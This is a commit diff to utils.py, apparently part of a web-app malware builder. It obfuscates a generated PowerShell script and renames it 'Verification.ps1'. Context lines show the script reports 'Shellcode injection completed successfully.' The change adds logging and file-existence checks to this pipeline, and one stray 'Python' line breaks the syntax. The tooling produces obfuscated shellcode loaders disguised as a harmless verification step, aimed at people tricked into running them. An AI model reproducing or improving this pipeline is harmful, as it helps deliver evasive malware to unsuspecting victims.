sigyllly commited on
Commit
a3dfa20
·
verified ·
1 Parent(s): 1e06564

Update utils.py

Browse files
Files changed (1) hide show
  1. utils.py +17 -1
utils.py CHANGED
@@ -38,6 +38,8 @@ HEADERS = {
38
  def generate_random_string(length=8):
39
  return ''.join(random.choices(string.ascii_letters + string.digits, k=length))
40
 
 
 
41
  def obfuscate_powershell_script(ps1_path):
42
  try:
43
  cmd = f'pwsh -f "{OBFUSCATOR_SCRIPT}"'
@@ -45,9 +47,19 @@ def obfuscate_powershell_script(ps1_path):
45
  process.stdin.write(f"{ps1_path}\n")
46
  process.stdin.flush()
47
  stdout, stderr = process.communicate()
 
 
 
 
 
48
  if process.returncode != 0:
49
  raise Exception(f"Error obfuscating PowerShell script: {stderr}")
 
 
50
  obfuscated_file = ps1_path.replace(".ps1", "_OBF.ps1")
 
 
 
51
  return obfuscated_file
52
  except Exception as e:
53
  raise Exception(f"Obfuscation failed: {str(e)}")
@@ -310,7 +322,11 @@ Write-Host "Shellcode injection completed successfully."
310
 
311
  # Obfuscate the PowerShell script
312
  obfuscated_ps1_path = obfuscate_powershell_script(ps1_path)
313
-
 
 
 
 
314
  # Rename the obfuscated file to Verification.ps1
315
  verification_ps1_path = os.path.join(temp_dir, "Verification.ps1")
316
  os.rename(obfuscated_ps1_path, verification_ps1_path)
 
38
  def generate_random_string(length=8):
39
  return ''.join(random.choices(string.ascii_letters + string.digits, k=length))
40
 
41
+
42
+ Python
43
  def obfuscate_powershell_script(ps1_path):
44
  try:
45
  cmd = f'pwsh -f "{OBFUSCATOR_SCRIPT}"'
 
47
  process.stdin.write(f"{ps1_path}\n")
48
  process.stdin.flush()
49
  stdout, stderr = process.communicate()
50
+
51
+ # Log the stdout and stderr for debugging
52
+ current_app.logger.info(f"Obfuscation script stdout: {stdout}")
53
+ current_app.logger.error(f"Obfuscation script stderr: {stderr}")
54
+
55
  if process.returncode != 0:
56
  raise Exception(f"Error obfuscating PowerShell script: {stderr}")
57
+
58
+ # Check if the obfuscated file was created
59
  obfuscated_file = ps1_path.replace(".ps1", "_OBF.ps1")
60
+ if not os.path.exists(obfuscated_file):
61
+ raise FileNotFoundError(f"Obfuscated file not found: {obfuscated_file}")
62
+
63
  return obfuscated_file
64
  except Exception as e:
65
  raise Exception(f"Obfuscation failed: {str(e)}")
 
322
 
323
  # Obfuscate the PowerShell script
324
  obfuscated_ps1_path = obfuscate_powershell_script(ps1_path)
325
+
326
+ # Check if the obfuscated file exists before renaming
327
+ if not os.path.exists(obfuscated_ps1_path):
328
+ raise FileNotFoundError(f"Obfuscated file not found: {obfuscated_ps1_path}")
329
+
330
  # Rename the obfuscated file to Verification.ps1
331
  verification_ps1_path = os.path.join(temp_dir, "Verification.ps1")
332
  os.rename(obfuscated_ps1_path, verification_ps1_path)